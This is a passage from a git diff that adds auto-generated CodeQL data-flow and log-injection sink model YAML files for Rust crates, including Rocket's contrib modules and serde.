"ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "crate::parse::uri::parser::complete", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "crate::parse::uri::scheme_from_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml new file mode 100644 index 000000000000..64aa3ccb425f --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml @@ -0,0 +1,14 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref_mut", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::into_inner", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::info", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::info", "Argument[self].Field[crate::database::Initializer(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml new file mode 100644 index 000000000000..bfd8737a5e39 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml @@ -0,0 +1,22 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::context", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::context", "Argument[self].Field[crate::context::manager::ContextManager(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::new", "Argument[0]", "ReturnValue.Field[crate::context::manager::ContextManager(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::finalize", "Argument[self].Field[crate::template::Template::value].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::render", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::render", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::init", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::render", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::respond_to", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::finalize", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::finalize", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::render", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml new file mode 100644 index 000000000000..552ca54324b7 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::fairing", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::Config(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::Pool(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml new file mode 100644 index 000000000000..66aadb9919b0 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml @@ -0,0 +1,12 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::accept_key", "Argument[self].Field[crate::websocket::WebSocket::key]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::channel", "Argument[self]", "ReturnValue.Field[crate::websocket::Channel::ws]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[0]", "Argument[self].Field[crate::websocket::WebSocket::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[0]", "ReturnValue.Field[crate::websocket::WebSocket::config]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::stream", "Argument[self]", "ReturnValue.Field[crate::websocket::MessageStream::ws]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-pastebin.model.yml b/rust/ql/lib/ext/generated/rocket/repo-pastebin.model.yml new file mode 100644 index 000000000000..9fb36c037036 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-pastebin.model.yml @@ -0,0 +1,8 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::pastebin", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo::pastebin", "::file_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml b/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml new file mode 100644 index 000000000000..f2bb481b1afe --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::tls", "::try_launch", "Argument[self].Field[crate::redirector::Redirector::port]", "Argument[0].Field[crate::config::config::Config::port]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-todo.model.yml b/rust/ql/lib/ext/generated/rocket/repo-todo.model.yml new file mode 100644 index 000000000000..29ade2ffc34a --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-todo.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::todo", "::raw", "Argument[1]", "ReturnValue.Field[crate::Context::flash]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml new file mode 100644 index 000000000000..68cd535dce36 --- /dev/null +++ b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml @@ -0,0 +1,207 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/serde-rs/serde:serde", "<&[u8] as crate::__private::de::IdentifierDeserializer>::from", "Argument[self]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&[u8] as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&crate::__private::de::content::Content as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::__private::de::content::ContentRefDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&str as crate::__private::de::IdentifierDeserializer>::from", "Argument[self]", "ReturnValue.Field[crate::__private::de::StrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&str as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::StrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::BoolDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::CharDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self].Field[0]", "ReturnValue.Field[crate::__private::de::BorrowedStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self].Field[0]", "ReturnValue.Field[crate::de::value::BorrowedBytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self].Field[crate::__private::de::Borrowed(0)]", "ReturnValue.Field[crate::__private::de::BorrowedStrDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self].Field[crate::__private::de::Borrowed(0)]", "ReturnValue.Field[crate::de::value::BorrowedBytesDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::__private::de::content::ContentDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::as_str", "Argument[self].Reference.Field[crate::__private::de::content::Content::Str(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::as_str", "Argument[self].Reference.Field[crate::__private::de::content::Content::String(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::__deserialize_content", "Argument[self].Field[crate::__private::de::content::ContentDeserializer::content]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::ContentDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::__deserialize_content", "Argument[self].Field[crate::__private::de::content::ContentRefDeserializer::content].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::ContentRefDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_bool", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::Bool(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_bytes", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::Bytes(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_borrowed_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::Str(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_byte_buf", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::ByteBuf(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_char", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::Char(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_f32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::F32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_f64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::F64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_i16", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::I16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_i32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::I32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_i64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::I64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_i8", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::I8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_string", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::String(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_u16", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::U16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_u32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::U32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_u64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::U64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::visit_u8", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::de::content::Content::U8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::EnumDeserializer::variant]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::de::content::EnumDeserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::InternallyTaggedUnitVisitor::type_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::de::content::InternallyTaggedUnitVisitor::variant_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::TaggedContentVisitor::tag_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::de::content::TaggedContentVisitor::expecting]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::de::content::UntaggedUnitVisitor::type_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::de::content::UntaggedUnitVisitor::variant_name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_map", "Argument[self].Field[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeMap(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_map", "Argument[self].Field[crate::__private::ser::FlatMapSerializer(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeMap(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct", "Argument[self].Field[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct", "Argument[self].Field[crate::__private::ser::FlatMapSerializer(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStructVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct_variant", "Argument[self].Field[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStructVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct_variant", "Argument[self].Field[crate::__private::ser::FlatMapSerializer(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeStructVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_tuple_variant", "Argument[self].Field[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeTupleVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_tuple_variant", "Argument[self].Field[crate::__private::ser::FlatMapSerializer(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::FlatMapSerializeTupleVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_struct_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::SerializeStructVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_tuple_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::SerializeTupleVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_bool", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Bool(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_char", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Char(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_f32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::F32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_f64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::F64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_i16", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::I16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_i32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::I32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_i64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::I64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_i8", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::I8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_newtype_struct", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::NewtypeStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_newtype_variant", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::NewtypeVariant(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_newtype_variant", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::NewtypeVariant(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_newtype_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::NewtypeVariant(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_u16", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::U16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_u32", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::U32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_u64", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::U64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_u8", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::U8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_unit_struct", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::UnitStruct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_unit_variant", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::UnitVariant(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_unit_variant", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::UnitVariant(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_unit_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::UnitVariant(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeMap::entries]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Map(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeSeq::elements]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Seq(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeStruct::fields]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Struct(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeStruct::name]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::__private::ser::content::Content::Struct(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[0]", "ReturnValue.Field[crate::__private::ser::content::SerializeStructVariantAsMapValue::map]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::new", "Argument[1]", "ReturnValue.Field[crate::__private::ser::content::SerializeStructVariantAsMapValue::name]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::end", "Argument[self].Field[crate::__private::ser::content::SerializeTuple::elements]", 